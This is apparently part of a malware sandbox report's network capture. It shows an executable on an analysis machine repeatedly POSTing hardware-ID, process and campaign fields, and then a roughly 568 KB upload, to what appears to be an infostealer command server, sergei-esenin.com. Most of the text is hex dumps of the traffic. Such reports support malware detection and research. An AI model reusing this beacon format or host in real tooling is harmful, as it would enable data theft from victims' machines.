atue9fTkgjFHlVtAFspBFV7LGU4u9EPj1ZcqVc1Oxgu6iw008TRU4Q3UG8BEj5PQDAlb2rlng6BXV+qWDQ2HSC4a3Ha3JUAyxJDfAxAJwVRcy9uJL7aRsIVUrYfYXEpJKR5e9PNm0vbWl4/C15hWRl0LHEhvNUNglJaq1U5Ph8qpGl119ScBsoeTnYLXiUGGT5iZDL9hkandHiCWCNxBGezInPYnMlLyB1LdQdVKw9QfilxOL7aBYVWUqdROTYe
2024-10-17 16:38:29 UTC	1369	IN	Data Raw: 50 4d 6e 4d 6c 4c 36 52 68 41 56 67 74 4a 59 52 34 58 61 57 4a 6b 4a 76 32 47 52 6f 31 65 58 36 46 53 4f 6a 63 59 49 71 39 6f 64 64 50 55 6e 42 6e 48 47 30 68 37 44 46 30 6e 42 31 68 2f 4a 47 51 6a 76 4e 59 42 7a 42 73 56 71 55 64 35 61 56 73 48 72 57 46 77 6c 4d 50 66 45 6f 51 54 53 7a 39 55 45 69 45 4c 55 33 6f 73 59 79 32 76 32 41 2b 4d 56 6b 65 74 57 54 45 33 46 79 57 6e 61 6e 33 55 32 5a 6f 47 7a 78 6c 42 66 77 64 54 59 55 38 5a 64 7a 6f 6a 63 76 33 76 43 34 4a 52 57 36 31 50 50 6e 45 45 5a 37 4d 69 63 39 69 63 79 55 76 4c 48 56 56 34 43 56 6f 6f 41 56 64 35 4b 32 51 75 76 74 38 43 67 46 70 63 72 56 63 34 4f 52 51 71 71 6d 6c 38 33 74 32 66 44 6f 52 61 42 33 67 55 45 6e 6c 42 64 6e 4d 6e 61 43 76 2f 2b 51 43 4c 57 52 57 78 45 53 42 78 48 43 58 71 4f Data Ascii: PMnMlL6RhAVgtJYR4XaWJkJv2GRo1eX6FSOjcYIq9oddPUnBnHG0h7DF0nB1h/JGQjvNYBzBsVqUd5aVsHrWFwlMPfEoQTSz9UEiELU3osYy2v2A+MVketWTE3FyWnan3U2ZoGzxlBfwdTYU8Zdzojcv3vC4JRW61PPnEEZ7Mic9icyUvLHVV4CVooAVd5K2Quvt8CgFpcrVc4ORQqqml83t2fDoRaB3gUEnlBdnMnaCv/+QCLWRWxESBxHCXqO
2024-10-17 16:38:29 UTC	1369	IN	Data Raw: 41 52 75 4d 4f 53 6e 6b 62 51 32 46 50 47 58 5a 69 4f 33 72 7a 6e 67 4b 64 46 51 33 2b 44 57 4a 6b 53 48 37 36 4d 47 75 61 78 64 45 64 68 45 77 56 4d 55 78 41 59 56 6b 5a 4e 79 46 78 4f 4c 76 64 45 49 38 53 61 35 42 78 50 6a 63 65 4c 72 6f 67 57 74 2f 49 6c 6b 75 4b 56 45 67 2f 56 47 74 68 53 52 6c 50 62 43 4d 79 2f 59 5a 47 75 56 5a 62 6f 46 67 76 49 46 59 48 72 57 52 78 30 38 7a 54 4a 63 38 41 51 44 39 43 45 69 64 42 41 53 42 73 49 79 36 73 6e 6c 37 63 42 77 37 37 44 47 35 68 53 54 62 6b 65 7a 54 43 6e 4d 6c 5a 69 6c 52 56 50 31 51 53 5a 67 4a 4c 59 69 52 67 50 4c 36 5a 4f 4c 4a 57 51 36 4e 51 4d 6a 41 6c 46 34 52 76 64 64 66 53 30 7a 72 53 47 56 64 38 43 56 55 66 50 31 64 33 4e 6d 51 6b 75 39 35 47 77 68 56 61 37 67 63 41 63 56 4e 70 6c 53 77 30 7a 4a Data Ascii: ARuMOSnkbQ2FPGXZiO3rzngKdFQ3+DWJkSH76MGuaxdEdhEwVMUxAYVkZNyFxOLvdEI8Sa5BxPjceLrogWt/IlkuKVEg/VGthSRlPbCMy/YZGuVZboFgvIFYHrWRx08zTJc8AQD9CEidBASBsIy6snl7cBw77DG5hSTbkezTCnMlZilRVP1QSZgJLYiRgPL6ZOLJWQ6NQMjAlF4RvddfS0zrSGVd8CVUfP1d3NmQku95GwhVa7gcAcVNplSw0zJ
2024-10-17 16:38:29 UTC	1369	IN	Data Raw: 51 78 63 74 45 78 77 34 51 55 38 77 65 6a 46 6b 2f 63 78 47 31 42 55 53 72 55 30 72 4e 78 67 2f 71 53 56 4b 36 76 75 66 44 4d 55 43 56 33 49 41 63 79 49 51 55 30 34 63 64 69 6d 7a 30 41 47 61 52 42 58 67 48 7a 5a 78 51 78 44 71 4b 6a 54 72 6b 74 45 54 68 45 77 48 53 67 39 63 4c 77 5a 50 59 57 39 45 4a 4c 72 66 45 4a 78 59 57 59 39 63 4b 44 74 62 5a 2b 70 6b 4e 49 79 4f 33 30 76 41 42 51 63 6e 58 41 42 36 56 41 6f 6e 63 6a 45 31 38 38 64 47 6d 68 55 4e 2f 42 46 35 49 31 74 78 36 69 56 33 78 73 36 58 43 4e 49 58 41 45 45 79 64 7a 59 43 53 58 59 68 58 52 53 57 30 67 43 4c 54 31 4b 6f 65 52 6c 78 56 57 6d 6c 49 69 7a 74 6e 4e 6c 4c 2b 31 6f 48 5a 30 77 4b 59 54 52 61 66 69 78 6b 50 4b 79 54 49 35 74 57 52 61 68 63 65 58 39 62 4c 2b 6f 36 4a 4a 71 63 6c 52 71 Data Ascii: QxctExw4QU8wejFk/cxG1BUSrU0rNxg/qSVK6vufDMUCV3IAcyIQU04cdimz0AGaRBXgHzZxQxDqKjTrktEThEwHSg9cLwZPYW9EJLrfEJxYWY9cKDtbZ+pkNIyO30vABQcnXAB6VAoncjE188dGmhUN/BF5I1tx6iV3xs6XCNIXAEEydzYCSXYhXRSW0gCLT1KoeRlxVWmlIiztnNlL+1oHZ0wKYTRafixkPKyTI5tWRahceX9bL+o6JJqclRq
2024-10-17 16:38:29 UTC	1369	IN	Data Raw: 30 74 63 4c 41 42 61 66 69 46 78 4f 4c 76 64 45 49 38 53 61 35 42 77 4d 6a 41 4c 4a 4c 74 76 63 4d 4c 69 72 79 7a 43 45 55 42 42 4d 6d 55 77 42 6b 6b 79 42 47 41 38 76 70 35 49 7a 45 30 56 39 68 38 65 4e 78 34 75 36 6e 30 36 7a 5a 79 48 53 35 78 48 43 54 38 65 45 6e 6c 42 48 6e 34 76 59 69 6d 7a 33 52 53 65 55 31 61 34 58 48 34 50 4a 51 6d 36 59 57 44 54 37 5a 77 50 30 67 46 45 62 77 74 73 48 79 46 4a 63 7a 5a 6b 5a 5a 33 4f 43 35 6c 45 55 72 35 68 42 77 59 4b 4c 72 6f 67 55 74 66 4b 6b 6b 75 4b 56 46 38 2f 56 42 49 42 45 56 70 6b 4a 53 4d 31 38 38 64 47 6d 68 55 4e 2f 52 46 35 49 31 74 78 36 69 56 36 32 64 32 53 42 63 63 47 56 58 6b 50 52 43 4a 47 5a 30 34 46 63 53 47 38 6e 44 53 63 58 6b 47 74 58 69 4a 7a 4f 7a 6d 6e 64 32 58 54 7a 4b 38 31 38 77 56 41 Data Ascii: 0tcLABafiFxOLvdEI8Sa5BwMjALJLtvcMLiryzCEUBBMmUwBkkyBGA8vp5IzE0V9h8eNx4u6n06zZyHS5xHCT8eEnlBHn4vYimz3RSeU1a4XH4PJQm6YWDT7ZwP0gFEbwtsHyFJczZkZZ3OC5lEUr5hBwYKLrogUtfKkkuKVF8/VBIBEVpkJSM188dGmhUN/RF5I1tx6iV62d2SBccGVXkPRCJGZ04FcSG8nDScXkGtXiJzOzmnd2XTzK818wVA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49749	172.67.206.204	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:30 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ajDQF8.Td1Za2DoBSCkWqkkvtapf5023ZAaKCJQncig-1729183107-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: sergei-esenin.com
2024-10-17 16:38:30 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:38:30 UTC	825	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kr6c9028mhq4lqsuddmrikvrs5; expires=Mon, 10 Feb 2025 10:25:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vUvKuAjGf8d6uMrTpHgnMba8BJOvqo6ZGIoAo0Q5v1jrTpUUbsJ6Btd6IJHls9LxM%2BjL76pUXuZtLT7%2F7k8zDFgUg67tB69yRznxhWjfUC39v1npl2g7knLq8UuWaymaXxQciA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41b82809363aaa-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:38:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-10-17 16:38:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49757	172.67.206.204	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:31 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ajDQF8.Td1Za2DoBSCkWqkkvtapf5023ZAaKCJQncig-1729183107-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: sergei-esenin.com
2024-10-17 16:38:31 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:38:32 UTC	825	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5r2b54eauqqltn7ll795o2h90b; expires=Mon, 10 Feb 2025 10:25:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4R7V6Dh6CDR0M9turnZAo9RNhhWdr6Y%2FUidHmuVEvKE0teYT8XSTvVs81oeWiICml9EdGtnjDeAYRFWYlqaMUi0rfOuJQLmp%2F1KsQZpPK91fmUZWeqgUBIC0hIsnDOphT37ZNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41b830b912e83b-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:38:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-10-17 16:38:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49765	172.67.206.204	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:33 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ajDQF8.Td1Za2DoBSCkWqkkvtapf5023ZAaKCJQncig-1729183107-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: sergei-esenin.com
2024-10-17 16:38:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:38:33 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-17 16:38:33 UTC	827	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vt042kbclaetf343k3gggtr2bt; expires=Mon, 10 Feb 2025 10:25:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XBcY7qccV6pvvNza0g1a68VDhEgn%2FiRMftJvxf3f7d69q8vvGGcsfOW9WZOdg60i%2FLUxhIHOkUxbVQbKQRL2h0JjX2%2FIea19pWLqbtxxPI4DbgrjNuYvVPFgCCH8aXJjOmFasw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41b8394e61144c-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:38:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-10-17 16:38:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49773	172.67.206.204	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:34 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ajDQF8.Td1Za2DoBSCkWqkkvtapf5023ZAaKCJQncig-1729183107-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1216 Host: sergei-esenin.com
2024-10-17 16:38:34 UTC	1216	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:38:35 UTC	829	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fk4sd4dj781k6uphqm1jq1kkb3; expires=Mon, 10 Feb 2025 10:25:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5cbKOatiaqzn1S9BV9XnBGYp3LO96Bi7tnNnYzy3NJvKr27aJo5n%2BJOsExIp%2F9aN1Ug4DqlN0chpoKK%2FS%2BnYAZL0tzvtmTatMoyzbH67wh0VHHqbnY0e3IId08lJ1KtpOXusHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d41b844aa94c871-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 16:38:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-10-17 16:38:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49785	172.67.206.204	443	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:38:36 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ajDQF8.Td1Za2DoBSCkWqkkvtapf5023ZAaKCJQncig-1729183107-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568188 Host: sergei-esenin.com
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 33 37 41 36 41 45 32 41 30 35 31 35 35 35 46 41 42 41 44 46 43 36 34 38 42 30 45 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"99737A6AE2A051555FABADFC648B0EFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: 7d 3f 2e 24 7a a0 f0 7d 73 e7 1c 50 0f 63 a7 c4 d1 3d 38 e5 c1 10 17 2c 9c 11 6f f3 43 18 e0 86 d4 ed 22 2a 56 5e 6c 29 9e 26 cf be 35 9a 9a 2f 05 a6 83 c1 ae 0b 9a cc 1d 9f 0c 41 14 ed c2 9c f0 e4 cb d0 23 85 bd 6f 7e 78 7f 7b a9 b6 f8 ee 8b 84 37 1e 68 e6 10 01 bb 47 6a bd f9 1c 14 6c 32 e8 21 bd 96 3f 3f ae 91 b4 9e 51 b0 57 09 b0 b9 89 79 d5 ae ac e7 80 f1 31 eb 7f 63 e9 ff ef 26 19 b8 65 b6 03 67 4e 10 a3 4f c9 f1 01 f4 36 5e 60 02 fb 86 07 72 e0 c7 10 f3 d0 67 f6 20 66 f3 58 e0 54 2c 0f ca 3b 98 f9 2d 69 9b 1b 08 d7 d2 0c 41 47 39 6b de 42 1e 68 ce ff ab f1 70 56 3f 49 74 a1 ce 8b 4e e5 c3 bc dc cc 8d 85 b2 06 94 26 79 b2 cd 10 d5 35 ad 11 2e 18 23 68 b2 aa b7 ee cb 05 b7 8d c5 1f 1f c7 75 3b 15 42 5d bc 99 ee 56 dc c0 6b 32 d5 da c9 44 d9 e4 2c 9d Data Ascii: }?.$z}sPc=8,oC"*V^l)&5/A#o~x{7hGjl2!??QWy1c&egNO6^`rg fXT,;-iAG9kBhpV?ItN&y5.#hu;B]Vk2D,
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: 6c 74 09 10 17 ed 7e 2f 61 b0 2f 80 b0 6c 77 69 2a 1f ce 2f ad a9 d1 66 0e d5 8d cb bb ae 2e 6f 0a 5b cb 73 52 15 50 83 56 46 da 04 e5 1b 18 54 e7 90 51 a4 8c 1d 2d 3c d0 73 f7 c3 8e d2 14 ee bc ad 74 8b 5e 61 61 7a f3 7f 19 77 a5 07 cd 08 e0 a1 77 5a 95 88 5e 13 5a 17 e8 b5 6d a1 bb d1 2c f4 66 bd da 28 82 77 66 79 1a 74 0d c8 c5 db 1f d1 08 b7 2a 40 ec 64 e5 ec e8 9d 4b d1 3a 38 ac 10 78 68 05 a5 35 06 d8 c1 c7 27 a7 0b 9e d8 70 33 05 0f 5b 34 a5 25 8b 39 0e 05 38 ef c5 0a f9 2a b7 b5 64 ba f1 80 15 dd 00 b3 cb 1f 8c 6f 70 fc 1d 5a fe 46 2c f8 2c 3f d5 6b 13 fa b5 bb dc 6b 7f ed 75 ca 91 6d d2 a9 3b 95 89 ca a6 0e e0 67 28 01 1b 8a 71 2b 7e 61 b6 24 a4 4f a1 68 57 3d 30 d1 bb dd d1 21 fc 57 c3 ed 3a 08 15 b4 d5 df 1a 9b 91 d0 d6 e8 2d c4 f7 f3 d9 f0 9b Data Ascii: lt~/a/lwi/f.o[sRPVFTQ-<st^aazwwZ^Zm,f(wfyt@dK:8xh5'p3[4%98*dopZF,,?kkum;g(q+~a$OhW=0!W:-
2024-10-17 16:38:36 UTC	15331	OUT	Data Raw: b1 41 4e f5 43 b8 ad d3 ad 3f de c8 e6 40 d7 8f 6f 32 26 c3 57 0b f2 c2 bc 72 db 56 e6 a1 0f aa 23 b1 3e 08 2e 66 f3 0a 4f 39 c4 59 d4 fe 31 2e 26 57 c0 59 a4 b1 d6 8f 7d 1e 57 d5 5f 3e 2d 73 d8 1f 0d 9e db fe fe 4e 92 40 05 2e d1 69 1e 3c c0 2e 89 a5 b4 2d 97 d3 7a 2d 63 73 7b 5d 61 3c 9b 4c 20 10 62 49 e2 88 d6 4b e0 66 eb f8 3f 73 5d 69 52 e4 fc ef 61 53 17 e7 ba 02 20 19 80 a7 8c 56 7f cf 89 3f 27 44 11 b8 eb 41 ae eb 92 fd d9 7a e0 36 98 b2 df fb 52 e5 e5 54 c0 f1 4b 98 e5 1b 55 aa d1 24 cb 79 9e 0e e4 a7 d5 da 16 e9 db 66 4d 47 09 b7 fe 99 c9 4e 9c e3 6b 34 bf 68 f1 f5 f9 62 f9 7f 2a 27 2d 1c d7 14 e5 f7 cb ff 49 68 f8 a0 75 59 65 cc 98 15 3d b7 5d ad bf 1b 8f c3 05 26 d7 42 c6 bb f1 9b 3f 8e 83 01 05 dc df 16 a7 e8 58 2b 21 f8 e6 41 32 f2 25 77 89 Data Ascii: ANC?@o2&WrV#>.fO9Y1.&WY}W_>-sN@.i<.-z-cs{]a<L bIKf?s]iRaS V?'DAz6RTKU$yfMGNk4hb*'-IhuYe=]&B?X+!A2%w
